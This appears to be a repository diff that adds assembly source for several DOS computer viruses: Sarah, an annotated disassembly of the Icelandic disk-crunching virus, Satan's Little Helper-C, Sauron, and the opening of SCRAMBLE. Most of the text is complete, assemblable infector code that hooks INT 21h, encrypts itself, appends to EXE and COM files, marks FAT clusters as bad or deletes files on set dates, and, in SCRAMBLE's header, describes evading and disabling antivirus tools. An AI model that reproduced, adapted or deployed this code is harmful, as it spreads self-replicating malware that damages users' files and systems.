mov ax,4c00h ; normal dos termination (set al to 00)
int 21h ; do it
end start

+283
View File
@@ -0,0 +1,283 @@
; sarah.asm : {Sarah} by Gehenna
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file sarah.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 0 ; For easy calculation of offsets
id = 'EF' ; ID word for EXE infections
startvirus:
decrypt: ; handles encryption and decryption
patch_startencrypt:
mov bx,offset startencrypt ; start of decryption
mov si,(offset heap - offset startencrypt)/2 ; iterations
decrypt_loop:
db 2eh,81h,37h ; xor word ptr cs:[bx], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc bx ; calculate new decryption location
inc bx
dec si ; If we are not done, then
jnz decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
push ds
push es
mov ax,'DA' ; Installation check
int 21h
cmp ax,'PS' ; Already installed?
jz done_install
mov ax, es ; Get PSP
dec ax
mov ds, ax ; Get MCB
sub word ptr ds:[3],(endheap-startvirus+15)/16+1
sub word ptr ds:[12h],(endheap-startvirus+15)/16+1
mov ax,ds:[12h]
mov ds, ax
inc ax
mov es, ax
mov byte ptr ds:[0],'Z' ; Mark end of chain
mov word ptr ds:[1],8 ; Mark owner = DOS
mov word ptr ds:[3],(endheap-startvirus+15)/16 ; Set size
push cs
pop ds
xor di,di ; Destination
mov cx,(heap-startvirus)/2+1 ; Bytes to zopy
mov si,bp ; lea si,[bp+offset startvirus]
rep movsw
mov di,offset encrypt
mov si,bp ; lea si,[bp+offset startvirus]
mov cx,startencrypt-decrypt
rep movsb
mov al,0c3h ; retn
stosb
xor ax,ax
mov ds,ax
push ds
lds ax,ds:[21h*4] ; Get old int handler
mov word ptr es:oldint21, ax
mov word ptr es:oldint21+2, ds
pop ds
mov word ptr ds:[21h*4], offset int21 ; Replace with new handler
mov ds:[21h*4+2], es ; in high memory
done_install:
pop es
pop ds
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+oldCSIP+2],ax
add ax,word ptr cs:[bp+oldSSSP+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+oldSSSP]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
oldCSIP dd 0fff00000h ; Needed for carrier file
oldSSSP dd ? ; Original SS:SP
virus db '{Sarah}',0
author db '<Gehenna>',0
int21: ; New interrupt handler
cmp ax,'DA' ; Installation check?
jnz notinstall
mov ax,'PS'
iret
notinstall:
pushf
push ax
push bx
push cx
push dx
push si
push di ; don't need to save bp
push ds
push es
cmp ax,4b00h ; Infect on execute
jz infectDSDX
exithandler:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
db 0eah ; JMP SSSS:OOOO
oldint21 dd ? ; Go to orig handler
infectDSDX:
mov ax,4300h
int 21h
push ds
push dx
push cx ; Save attributes
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov ax,3d02h ; Open read/write
int 21h
xchg ax,bx
mov ax,5700h ; Get creation date/time
int 21h
push cx ; Save date and
push dx ; time
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
mov ah,3fh ; Read file to buffer
mov dx,offset buffer ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ax,4202h ; Go to end of file
xor cx,cx
cwd
int 21h
mov word ptr filesize,ax
mov word ptr filesize+2,dx
checkEXE:
cmp word ptr buffer+10h,id ; is it already infected?
jnz infect_exe
done_file:
mov ax,5701h ; Restore creation date/time
pop dx ; Restore date and
pop cx ; time
int 21h
mov ah,3eh ; Close file
int 21h
pop cx
pop dx
pop ds ; Restore filename
call attributes ; attributes
jmp exithandler
infect_exe:
mov cx, 1ah
push cx
push bx ; Save file handle
les ax,dword ptr buffer+14h ; Save old entry point
mov word ptr oldCSIP, ax
mov word ptr oldCSIP+2, es
les ax,dword ptr buffer+0Eh ; Save old stack
mov word ptr oldSSSP,es
mov word ptr oldSSSP+2,ax
mov ax,word ptr buffer+8 ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax,dword ptr filesize ; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr buffer+14h, dx ; New entry point
mov word ptr buffer+16h, ax
mov word ptr buffer+0Eh, ax ; and stack
mov word ptr buffer+10h, id
pop dx ; get file length
pop ax
pop bx ; Restore file handle
add ax, heap-startvirus ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr buffer+4, dx ; new file size
mov word ptr buffer+2, ax
push cs ; restore ES
pop es
mov ax,word ptr buffer+14h ; needed later
finishinfection:
add ax,offset startencrypt-offset decrypt
mov word ptr encrypt+(patch_startencrypt-startvirus)+1,ax
get_encrypt_value:
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
or dx,dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
mov word ptr encrypt+(decrypt_value-startvirus),dx ; New encrypt. value
xor si,si ; copy virus to buffer
mov di,offset zopystuff
mov cx,heap-startvirus
rep movsb
mov si,offset encrypt ; copy encryption function
mov di,offset zopystuff
mov cx,startencrypt-decrypt
rep movsb
mov word ptr [encrypt+(patch_startencrypt-startvirus)+1],offset zopystuff+(startencrypt-decrypt)
push bx
call encrypt
pop bx
mov ah,40h ; Concatenate virus
mov dx,offset zopystuff
mov cx,heap-startvirus ; # bytes to write
int 21h
mov ax,4200h ; Move file pointer
xor cx,cx ; to beginning of file
cwd ; xor dx,dx
int 21h
mov ah,40h ; Write to file
mov dx,offset buffer ; Write from buffer
pop cx ; cx bytes
int 21h
jmp done_file
attributes:
mov ax,4301h ; Set attributes to cx
int 21h
ret
heap: ; Variables not in code
filesize dd ?
encrypt: db startencrypt-decrypt+1 dup (?)
zopystuff db heap-startvirus dup (?) ; Encryption buffer
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end startvirus
@@ -0,0 +1,549 @@
; THE ICELANDIC "DISK-CRUNCHING" VIRUS
;
; Another possible name for this virus might be "One-in-ten", since
; it tries to infect every tenth program run. The Icelandic name for
; this virus ("Diskaetuvirus") translates to "Disk-eating virus"
;
; It was first located at one site in mid-June '89. It has since then
; been found at a few other places, but is quite rare yet. So far it
; does not seem to have spread to any other country.
;
; Disassembly done in June/July '89.
;
; The author of this program is unknown, but it appears to be of
; Icelandic origin.
;
; All comments in this file were added by Fridrik Skulason,
; University of Iceland/Computing Services.
;
; INTERNET: frisk@rhi.hi.is
; UUCP: ...mcvax!hafro!rhi!frisk
; BIX: FRISK
;
; To anyone who obtains this file - please be careful with it, I
; would not like to see this virus be distributed too much. The code
; is very clear, and the virus is quite well written. It would be VERY
; easy to modify it to do something really harmful.
;
; A short description of the virus:
;
; It only infects .EXE files. Infected files grow by 656 to 671
; bytes, and the length of the infected file MOD 16 will always be 0.
; The virus attaches itself to the end of the programs it infects.
;
; When an infected file is run, the virus copies itself to top of
; free memory, and modifies the memory blocks, in order to hide from
; memory mapping programs. Some programs may overwrite this area,
; causing the computer to crash.
;
; The virus does nothing if some other program has hooked INT 13
; before it is run. This is probably done to avoid detection by
; protection programs, but it also means that many ordinary
; programs like SideKick and disk cache software will disable it.
; Even the PRINT command will disable the virus. This reduces the
; spread of the virus, but also greatly reduces the possibility that
; the virus will be detected.
;
; The virus will hook INT 21H and when function 4B (EXEC) is called
; it sometimes will infect the program being run. It will check every
; tenth program that is run for infection, and if it is not already
; infected, it will be.
;
; The virus will remove the Read-Only attribute before trying to
; infect programs.
;
; Infected files can be easily recognized, since they always end in
; 4418,5F19.
;
; To check for system infection, a byte at 0:37F is used - if it
; contains FF the virus is installed in memory.
;
; This virus is slightly harmful, but does no serious damage.
; On floppy-only, or machines with 10Mbyte hard disks it will do
; no damage at all, but on machines with larger hard disks it will
; select one unused entry in the FAT table, and mark it as bad, when it
; infects a file. Since the virus only modifies the first copy of the
; FAT, a quick fix is simply to copy the second table over the first.
; This is the only "mistake" I have found in this virus. It appears
; to be very well written - What a shame the programmer did not use
; his abilities for something more constructive.
;
; This file was created in the following way: I wrote a small program,
; that did nothing but write "Hello world!" and ran it several times,
; until it became infected. I then diassembled the program, changed
; it into an .ASM file, and worked on it until this file, when
; assembled, produced the same file as the original infected one.
;
; (Or almost the same - the checksum in the header is different).
;
VIRSIZ EQU 128
ASSUME CS:_TEXT,DS:_TEXT,SS:NOTHING,ES:NOTHING
;
; This is the original program.
;
_TEXT1 SEGMENT PARA PUBLIC 'CODE'
_START DB 0b4H,09H
PUSH CS
POP DS
MOV DX,OFFSET STRING
INT 21H
MOV AX,4C00H
INT 21H
STRING DB "This is an infected program!",0dh,0ah,"$"
_TEXT1 ENDS
_TEXT SEGMENT PARA PUBLIC 'CODE'
;
; The virus is basically divided in three parts.
;
; 1. The main program - run when an infected program is run.
; It will check if the system is already infected, and if not
; it will install the virus.
;
; 2. The new INT 21 handler. It will look for EXEC calls, and
; (sometimes) infect the program being run.
;
; 3. The damage routine. It will select one unused cluster and mark it
; as bad.
;
VIRUS PROC FAR
;
; This is a fake MCB
;
DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
;
; The virus starts by pushing the original start address on the stack,
; so it can transfer control there when finished.
;
LABIA: SUB SP,4
PUSH BP
MOV BP,SP
PUSH AX
MOV AX,ES
;
; Put the the original CS on the stack. The ADD AX,data instruction
; is modified by the virus when it infects other programs.
;
DB 05H
ORG_CS DW 0010H
MOV [BP+4],AX
;
; Put the the original IP on the stack. This MOV [BP+2],data instruction
; is modified by the virus when it infects other programs.
;
DB 0C7H,46H,02H
ORG_IP DW 0000H
;
; Save all registers that are modified.
;
PUSH ES
PUSH DS
PUSH BX
PUSH CX
PUSH SI
PUSH DI
;
; Check if already installed. Quit if so.
;
XOR AX,AX
MOV ES,AX
CMP ES:[37FH],BYTE PTR 0FFH
JNE L2
;
; Restore all registers and return to the original program.
;
EXIT: POP DI
POP SI
POP CX
POP BX
POP DS
POP ES
POP AX
POP BP
RET
;
; Check if INT 13 is 0070:xxxx or F000:xxxx. If not, assume some
; program is monitoring int 13, and quit.
;
;
; Set the installation flag, so infected programs run later will
; recognize the infection.
;
L2: MOV ES:[37FH],BYTE PTR 0FFH
;
; The virus tries to hide from detection by modifying the memory block it
; uses, so it seems to be a block that belongs to the operating system.
;
; It looks rather weird, but it seems to work.
;
MOV AH,52H
INT 21H
MOV AX,ES:[BX-2]
MOV ES,AX
ADD AX,ES:[0003]
INC AX
INC AX
MOV CS:[0001],AX
;
; Next, the virus modifies the memory block of the infected program.
; It is made smaller, and no longer the last block.
;
MOV BX,DS
DEC BX
MOV DS,BX
MOV AL,'M'
MOV DS:[0000],AL
MOV AX,DS:[0003]
SUB AX,VIRSIZ
MOV DS:[0003],AX
ADD BX,AX
INC BX
;
; Then the virus moves itself to the new block. For some reason 2000
; bytes are transferred, when 651 would be enough. Maybe the author just
; wanted to leave room for future expansions.
;
MOV ES,BX
XOR SI,SI
XOR DI,DI
PUSH CS
POP DS
MOV CX,2000
CLD
REP MOVSB
;
; The virus then transfers control to the new copy of itself.
;
PUSH ES
MOV AX,OFFSET L3
PUSH AX
RET
;
; The main program modifies INT 21 next and finally returns to the
; original program. The original INT 21 vector is stored inside the
; program so a JMP [OLD INT21] instruction can be used.
;
L3: XOR AX,AX
MOV ES,AX
MOV AX,ES:[0084H]
MOV CS:[OLD21],AX
MOV AX,ES:[0086H]
MOV CS:[OLD21+2],AX
MOV AX,CS
MOV ES:[0086H],AX
MOV AX,OFFSET NEW21
MOV ES:[0084H],AX
JMP EXIT
VIRUS ENDP
;
; This is the INT 21 replacement. It only does something in the case
; of an EXEC call.
;
NEW21 PROC FAR
CMP AH,4BH
JE L5
L4: DB 0EAH
OLD21 DW 0,0
;
; Only attack every tenth program run.
;
L5: DEC CS:[COUNTER]
JNE L4
MOV CS:[COUNTER],2
;
; Save all affected registers.
;
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DS
;
; Search for the file name extension ...
;
MOV BX,DX
L6: INC BX
CMP BYTE PTR [BX],'.'
JE L8
CMP BYTE PTR [BX],0
JNE L6
;
; ... and quit unless it starts with "EX".
;
L7: POP DS
POP SI
POP DX
POP CX
POP BX
POP AX
JMP L4
L8: INC BX
CMP WORD PTR [BX],5845H
JNE L7
;
; When an .EXE file is found, the virus starts by turning off
; the read-only attribute. The read-only attribute is not restored
; when the file has been infected.
;
MOV AX,4300H ; Get attribute
INT 21H
JC L7
MOV AX,4301H ; Set attribute
AND CX,0FEH
INT 21H
JC L7
;
; Next, the file is examined to see if it is already infected.
; The signature (4418 5F19) is stored in the last two words.
;
MOV AX,3D02H ; Open / write access
INT 21H
JC L7
MOV BX,AX ; file handle in BX
PUSH CS ; now DS is no longer needed
POP DS
;
; The header of the file is read in at [ID+8]. The virus then
; modifies itself, according to the information stored in the
; header. (The original CS and IP addressed are stored).
;
MOV DX,OFFSET ID+8
MOV CX,1CH
MOV AH,3FH
INT 21H
JC L9
MOV AX,DS:ID[1CH]
MOV DS:[ORG_IP],AX
MOV AX,DS:ID[1EH]
ADD AX,10H
MOV DS:[ORG_CS],AX
;
; Next the read/write pointer is moved to the end of the file-4,
; and the last 4 bytes read. They are compared to the signature,
; and if equal nothing happens.
;
MOV AX,4202H
MOV CX,-1
MOV DX,-4
INT 21H
JC L9
ADD AX,4
MOV DS:[LEN_LO],AX
JNC L8A
INC DX
L8A: MOV DS:[LEN_HI],DX
MOV AH,3FH
MOV CX,4
MOV DX,OFFSET ID+4
INT 21H
JNC L11
L9: MOV AH,3EH
INT 21H
L10: JMP L7
;
; Compare to 4418,5F19
;
L11: MOV SI,OFFSET ID+4
MOV AX,[SI]
CMP AX,6F50H
JNE L12
MOV AX,[SI+2]
CMP AX,546FH
JE L9
;
; The file is not infected, so the next thing the virus does is
; infecting it. First it is padded so the length becomes a multiple
; of 16 bytes. Tis is probably done so the virus code can start at a
; paragraph boundary.
;
L12: MOV AX,DS:[LEN_LO]
AND AX,0FH
JZ L13
MOV CX,16
SUB CX,AX
ADD DS:[LEN_LO],CX
JNC L12A
INC DS:[LEN_HI]
L12A: MOV AH,40H
INT 21H
JC L9
;
; Next the main body of the virus is written to the end.
;
L13: XOR DX,DX
MOV CX,OFFSET ID + 4
MOV AH,40H
INT 21H
JC L9
;
; Next the .EXE file header is modified:
;
; First modify initial IP
;
MOV AX,OFFSET LABIA
MOV DS:ID[1CH],AX
;
; Modify starting CS = Virus CS. It is computed as:
;
; (Original length of file+padding)/16 - Start of load module
;
MOV DX,DS:[LEN_HI]
MOV AX,DS:[LEN_LO]
SHR DX,1
RCR AX,1
SHR DX,1
RCR AX,1
SHR DX,1
RCR AX,1
SHR DX,1
RCR AX,1
SUB AX,DS:ID[10H]
MOV DS:ID[1EH],AX
;
; Modify length mod 512
;
ADD DS:[LEN_LO],OFFSET ID+4
JNC L14
INC DS:[LEN_HI]
L14: MOV AX,DS:[LEN_LO]
AND AX,511
MOV DS:ID[0AH],AX
;
; Modify number of blocks used
;
MOV DX,DS:[LEN_HI]
MOV AX,DS:[LEN_LO]
ADD AX,511
JNC L14A
INC DX
L14A: MOV AL,AH
MOV AH,DL
SHR AX,1
MOV DS:ID[0CH],AX
;
; Finally the modified header is written back to the start of the
; file.
;
QQQ: MOV AX,4200H
XOR CX,CX
XOR DX,DX
INT 21H
JC ENDIT
MOV AH,40H
MOV DX,OFFSET ID+8
MOV CX,1CH
INT 21H
JC ENDIT
MOV AH,3EH
INT 21H
JNC DAMAGE
;
; Infection is finished - close the file and execute it
;
ENDIT: JMP L9
NEW21 ENDP
;
; The damage routine. As before noted, it will only do damage on
; systems with a hard disk larger than 10Mbytes (With 16 bit FAT)
;
TEMP DW 0
;
; Start by getting some information about the current drive, like size
; of the FAT etc. Then compute the total number of sectors, and quit
; unless it is greater than 20740. This is probably done since larger
; disks use 16 bit FAT entries, instead of 12, which makes life easier
; for the programmer.
;
DAMAGE: MOV AH,32H
MOV DL,0
INT 21H
CMP AL,0FFH
JE L21
XOR AX,AX
MOV AL,[BX+4]
INC AX
MOV CS:[TEMP],AX
MOV AX,[BX+0DH]
DEC AX
MUL CS:[TEMP]
ADD AX,[BX+0BH]
JNC L15A
INC DX
L15A: CMP DX,0
JNE L15B
CMP AX,20740
JBE L21
;
; Check if DOS version is 4.0 or greater. If so, use a 16 bit value
; for numbers of sectors in the FAT, otherwise use a 8 bit entry.
L15B: PUSH BX
MOV AH,30H
INT 21H
POP BX
CMP AL,4
JAE L15
XOR AX,AX
MOV AL,[BX+0FH]
JMP SHORT L16
L15: MOV AX,[BX+0FH]
L16: ADD AX,[BX+6]
DEC AX
MOV DX,AX
MOV AL,[BX]
;
; Read the last sector in the first copy of the FAT. Search backwards
; for an unused entry. If none is found, read the sector before that
; and so on. If no free entry is found on the entire disk then quit.
;
L20: MOV CX,1
MOV BX,OFFSET ID+4
PUSH CS
POP DS
PUSH AX
PUSH DX
INT 25H
POPF
JC L21
POP DX
POP AX
MOV SI,510
L17: MOV BX,DS:[ID+4+SI]
CMP BX,0000
JE L19
CMP SI,0000
JE L18
DEC SI
DEC SI
JMP L17
L18: DEC DX
CMP DX,8
JE L21
JMP L20
;
; A free entry has been found. Make it look like a bad cluster, by
; changing the 0000 value to FFF7.
;
L19: MOV DS:[ID+4+SI],0FFF7H
MOV CX,1
MOV BX,OFFSET ID+4
INT 26H
POPF
L21: JMP L7
COUNTER DB 2
LEN_LO DW ?
LEN_HI DW ?
ID DW 6F50H,546FH ; The signature of the virus.
;
; A buffer, used for data from the file.
;
_TEXT ENDS
END LABIA

File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,354 @@
; Virus
; Satan's Little Helper-C
;This version:
;Searches current directory for non-infected com files, if any found
;it will become infected!
;This virus has a routine which self-destructs itself and uninfects
;the file.
assume cs:code
.286
code segment "code"
org 0100h
start proc
jmp v_start ;first 5 bytes |
nop ; |
nop ; |
v_start:
call $+3 ;Actual virus
pop dx
sub dx, 3
push dx ;save relocation factor in BP
pop bp ;so virus can be copied anywhere twoards
mov si, dx ;the end of the file
;
; Replace first 5 bytes in memory with original
; program code so normal program can run later
add si, first_five
mov di, 0100h
mov cx, 5
lodsb
stosb
loop $-2
;see if user want to disinfect this file
mov si, 82h
lodsb
cmp al, "[" ;is al the code to disinfect? "["
jne ok_dont_disinfect
jmp self_kill
ok_dont_disinfect:
;here should be date checks to see
;if an evil function should be unleashed!!
mov ah, 2ah
int 21h
;cx year 1980-2099
;dh month 1-12
;dl day
;al day of week 0=sun 1=mon -> 7=sat
cmp dh, 12
jne notdec
cmp dl, 25
jne notdec
jmp christmas
notdec:
cmp dh, 4
jne notapril
cmp dl, 1
jne notapril
jmp aprilfools
notapril:
;Set the DTA
call set_dta
;find first file to ?infect?
call find_first_file
go_again:
mov si, bp
add si, size_
lodsw
cmp ax, 5
ja gd4
jmp resrch
gd4:
call open_file
mov bx, ax
mov al, 0
call date_time
mov ah, 3fh
mov cx, 5
mov dx, bp
add dx, first_five
int 21h
mov ax, 4202h
mov cx, 0
mov dx, cx
int 21h
sub ax, 3
mov si, bp
add si, new_5
mov [si+1], ax
mov si, bp
mov di, si
add si, chkmark
add di, mark
mov cx, 2
repe cmpsb
jne INFECT
;File found was previously infected!
; search for new one now.
jmp resrch
wipe_name:
push di
push ax
push cx
mov di, bp
add di, name_
mov cx, 13
mov al, 0
rep stosb
pop cx
pop ax
pop di
ret
resrch:
call wipe_name
mov ah, 4fh
int 21h
jnc gd3
jmp term_virus
gd3:
jmp go_again
INFECT:
;Time to infect the file!!
mov si, bp
add si, handle
mov bx, [si]
mov cx, vsize
mov dx, bp
call wipe_name
mov ax, 4000h
int 21h
mov ax, 4200h
mov cx, 0
mov dx, cx
int 21h
mov dx, bp
add dx, new_5
mov ax, 4000h
mov cx, 5
int 21h
mov al, 1
call date_time
mov ax, 3e00h
int 21h
jmp resrch
fndnam proc
mov si, env
mov ax, [si]
mov es, ax
mov ds, ax
mov si, 0
mov di, si
__lp:
lodsb
cmp al, 0
je chknxt
stosb
jmp __lp
chknxt:
stosb
lodsb
cmp al, 0
je fnd1
stosb
jmp __lp
fnd1:
stosb
__lp2:
lodsb
cmp al, "a"
jae ff_
up2:
cmp al, "A"
jae fff_
up3:
stosb
jmp __lp2
ff_:
cmp al,"z"
jbe fnd
jmp up2
fff_:
cmp al, "Z"
jbe fnd
jmp up3
fnd:
mov si, di
mov al, 0
repne scasb
mov dx, si
mov di, dx
ret
env equ 2ch
fndnam endp
self_kill:
;this procedure disinfects specified files
;SI points to the name of current file on disk
;which is infected
call fndnam ;find name of current file from env block in memory
jmp gd__
abrt:
int 20h
gd__:
mov ax, 3d02h
int 21h
jc abrt
mov bx, ax
mov ax, cs
mov ds, ax
mov es, ax
mov cx, 5
mov dx, bp
add dx, first_five
call wipe_name
mov ax, 4000h
int 21h
jc abrt
mov dx, 0
mov cx, 0
mov ax, 4202h
int 21h
jnc gd__1
jmp abrt
gd__1:
sub ax, vsize
mov dx, ax
mov cx, 0
mov ax, 4200h
int 21h
call wipe_name
mov cx, 0
mov ax, 4000h
int 21h
mov ax, 3e00h
int 21h
jmp term_virus
date_time:
pusha
mov ah, 57h
cmp al, 0
je fnd__$
mov di, bp
mov si, di
add di, date
add si, time
mov dx, [di]
mov cx, [si]
int 21h
jmp ret__
fnd__$:
int 21h
mov si, bp
mov di, bp
add si, time
add di, date
mov [si], cx
mov [di], dx
ret__:
popa
ret
open_file:
mov dx, bp
add dx, name_
mov ax, 3d02h
int 21h
jnc gd2
jmp term_virus
gd2:
mov si, bp
add si, handle
mov [si], ax
ret
find_first_file:
mov dx, bp
mov cx, 0
mov ah, 4eh
add dx, all_com_files
int 21h
jnc gd1
jmp term_virus
gd1:
ret
set_dta:
mov dx, bp
mov ah, 1ah
add dx, dta
int 21h
ret
term_virus:
mov ax, 0
mov bx, ax
mov cx, bx
mov dx, cx
mov si, 0100h
mov di, -1
mov bp, di
push 0100h
ret
CHRISTMAS:
;Program Lockup
; Exit without running program
int 20h
APRILFOOLS:
;Ha Ha delete current file
call fndnam
mov ah, 41h
int 21h
mov ax, cs
mov ds, ax
mov es, ax
jmp term_virus
; Data Bank
_fstfive:
int 20h
nop
ckmrk:
nop
nop
acf db "*.COM",0
dt_ dw 0
tme dw 0
d_t_a:
rfd db 21 dup (0)
att db 0
dw 0
dw 0
sz dd 0
n_me db 13 dup (0),0
handl dw 0
nw_5 db 0e9h,0,0
mrk db "66"
strain db "C"
;
end___:
first_five = offset _fstfive-0105h
all_com_files = offset acf-0105h
dta = offset d_t_a-0105h
attribute = offset att-0105h
time = offset tme-0105h
date = offset dt_-0105h
size_ = offset sz-0105h
name_ = offset n_me-0105h
handle = offset handl-0105h
new_5 = offset nw_5-0105h
mark = offset mrk-0105h
chkmark = offset ckmrk-0105h
vsize = offset end___-0105h
start endp
code ends
end start
@@ -0,0 +1,313 @@
; Virus generated by Gý 0.70á
; Gý written by Dark Angel of Phalcon/Skism
; File: SAURON.ASM
; Sauron by Ender
id = 'AC'
.model tiny
.code
; Assemble with:
; TASM /m3 filename.ASM
; TLINK /t filename.OBJ
org 0100h
start:
ENCRYPT:
patchstart:
mov bx, offset endencrypt
mov cx, (heap-endencrypt)/2+1
encrypt_loop:
db 002Eh ; cs:
db 0081h,0037h ; xor word ptr [bx], xxxx
encryptvalue dw 0000h
inc bx
inc bx
loop encrypt_loop
endencrypt:
mov bp, sp
int 0003h
next:
mov bp, ss:[bp-6]
sub bp, offset next
push ds
push es
mov ax, 3524h
int 0021h
push es
push bx
lea dx, [bp+INT24] ; ASSumes ds=cs
mov ax, 2524h
int 0021h
push cs
pop es
push cs
pop es
push cs
pop ds
mov dl, 0000h ; Default drive
mov ah, 0047h ; Get directory
lea si, [bp+offset origdir+1]
int 0021h
lea dx, [bp+offset newDTA]
mov ah, 001Ah ; Set DTA
int 0021h
push ds
push es
mov ax, 3521h ; get int 21h handler
int 0021h
push es
pop ds
xchg bx, dx
mov ax, 2503h ; set int 3 = int 21h handler
int 0021h
pop es
pop ds
lea si, [bp+offset origCSIP]
lea di, [bp+offset origCSIP2]
movsw
movsw
movsw
movsw
mov byte ptr [bp+numinfect], 0000h
traverse_loop:
lea dx, [bp+offset EXEmask]
call infect
cmp [bp+numinfect], 0004h
jae exit_traverse ; exit if enough infected
mov ah, 003Bh ; CHDIR
lea dx, [bp+offset dot_dot] ; go to previous dir
int 0003h
jnc traverse_loop ; loop if no error
exit_traverse:
lea si, [bp+offset origdir]
mov byte ptr [si], '\'
xchg dx, si
mov ah, 003Bh ; restore directory
int 0003h
pop dx
pop ds
mov ax, 2524h
int 0003h
pop ds
pop es
mov dx, 0080h ; in the PSP
mov ah, 001Ah ; restore DTA to default
int 0003h
restore_EXE:
mov ax, ds
add ax, 0010h
add cs:[bp+word ptr origCSIP2+2], ax
add ax, cs:[bp+word ptr origSPSS2]
cli
mov ss, ax
mov sp, cs:[bp+word ptr origSPSS2+2]
sti
db 00EAh
origCSIP2 dd ?
origSPSS2 dd ?
origCSIP dd 0fff00000h
origSPSS dd ?
return:
ret
INT24:
mov al, 0003h
iret
infect:
mov ah, 004Eh ; find first
mov cx, 0007h ; all files
findfirstnext:
int 0003h
jc return
lea dx, [bp+newDTA+30]
mov ax, 4300h
int 0003h
jc return
push cx
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0003h
lea dx, [bp+newDTA+30]
mov ax, 3D02h
int 0003h
xchg ax, bx
mov ax, 5700h ; get file time/date
int 0003h
push cx
push dx
mov cx, 001Ah
mov ah, 003Fh
lea dx, [bp+offset readbuffer]
int 0003h
xor dx, dx
mov ax, 4202h
xor cx, cx
int 0003h
cmp word ptr [bp+offset readbuffer], 'ZM'
jnz jmp_close
checkEXE:
cmp word ptr [bp+offset readbuffer+10h], id
jnz skipp
jmp_close:
jmp close
skipp:
lea di, [bp+origCSIP]
lea si, [bp+readbuffer+14h]
movsw ; Save original CS and IP
movsw
sub si, 000Ah
movsw ; Save original SS and SP
movsw
push bx ; save file handle
mov bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs
mov cl, 0004h
shl bx, cl
push dx ; Save file size on the
push ax ; stack
sub ax, bx ; File size - Header size
sbb dx, 0000h ; DX:AX - BX -> DX:AX
mov cx, 0010h
div cx ; DX:AX/CX = AX Remainder DX
mov word ptr [bp+readbuffer+10h], id ; Initial SP
mov word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
mov word ptr [bp+readbuffer+14h], dx ; IP Offset
mov word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.
mov si, dx ; save entry point
pop ax ; Filelength in DX:AX
pop dx
add ax, heap-start
adc dx, 0000h
mov cl, 0009h
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 0001h
mov word ptr [bp+readbuffer+2], ax ; the EXE header.
mov word ptr [bp+readbuffer+4], dx ; Fix-up the file size in
pop bx ; restore file handle
get_encrypt_value:
mov ah, 002Ch ; Get current time
int 0003h
or dx, dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
add si, (offset endencrypt-offset encrypt)
mov word ptr ds:[bp+patchstart+1], si
mov word ptr ds:[bp+encryptvalue], dx
lea di, [bp+offset encryptbuffer]
mov cx, (heap-encrypt)/2
lea si, [bp+offset ENCRYPT]
push si
rep movsw ; copy virus to buffer
lea ax, [bp+offset endencrypt-encrypt+encryptbuffer]
mov word ptr ds:[bp+patchstart+1], ax
pop si
push [bp+offset endencrypt]
mov byte ptr [bp+offset endencrypt], 00C3h ; retn
push bx
call si ; encrypt virus in buffer
pop bx
pop word ptr [bp+offset endencrypt]
mov ah, 0040h
mov cx, heap-encrypt
lea dx, [bp+offset encryptbuffer]
int 0003h
mov ax, 4200h
xor cx, cx
xor dx, dx
int 0003h
lea dx, [bp+offset readbuffer]
mov ah, 0040h
mov cx, 001Ah
int 0003h
inc [bp+numinfect]
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0003h
mov ah, 003Eh
int 0003h
pop ax ; restore file attributes
pop dx ; get filename and
pop cx ; attributes from stack
int 0003h
mov ah, 004Fh ; find next
jmp findfirstnext
creator db 'Ender',0
virusname db 'Sauron',0
EXEmask db '*.EXE',0
dot_dot db '..',0
heap:
encryptbuffer db (heap-encrypt)+1 dup (?)
newDTA db 43 dup (?)
origdir db 65 dup (?)
numinfect db ?
readbuffer db 1ah dup (?)
endheap:
end start
@@ -0,0 +1,644 @@
; SCRAMBLE --- Memory resident .COM infector.
;
; Uses many methods to slip through heuristic and standard virus scanners.
;
; #1 Pulls MSAV and CPAV out of memory.
; #2 Has self modifying JMP at the beginning to confuse TBAV
; #3 Has the anti-fprot code from YB-X inside.
; #4 Doesn't let many known AV products run. It doesn't delete them
; unlike earlier projects.
; #5 Includes filters in the infection process to exclude possible "bait"
; files.
; #6 Uses the System File Tables for infection. This is a beautiful method
; to get alot of file information quickly.
; #7 Utilizes directory stealth. (FCB only)
;
; Features: Infects on 11h, 12h, and 4Bh. (Directory and Execute)
;
; Also SCRAMBLE includes many debuggers traps. They are concentrated in
; the beginning.
;
; Nikademus [CrYpT]
; ^^^^^^^
; Smile Urnst....
;
; ********************** [Scramble] ***************************************
.radix 16
code segment
model small
assume cs:code, ds:code, es:code
org 100h
len equ offset last - start ; Shadows length
vir_len equ len / 16d ; paragraphs of memory needed
encryptlength equ (last - begin)/2+1 ; encrypt all but 3 bytes
start:
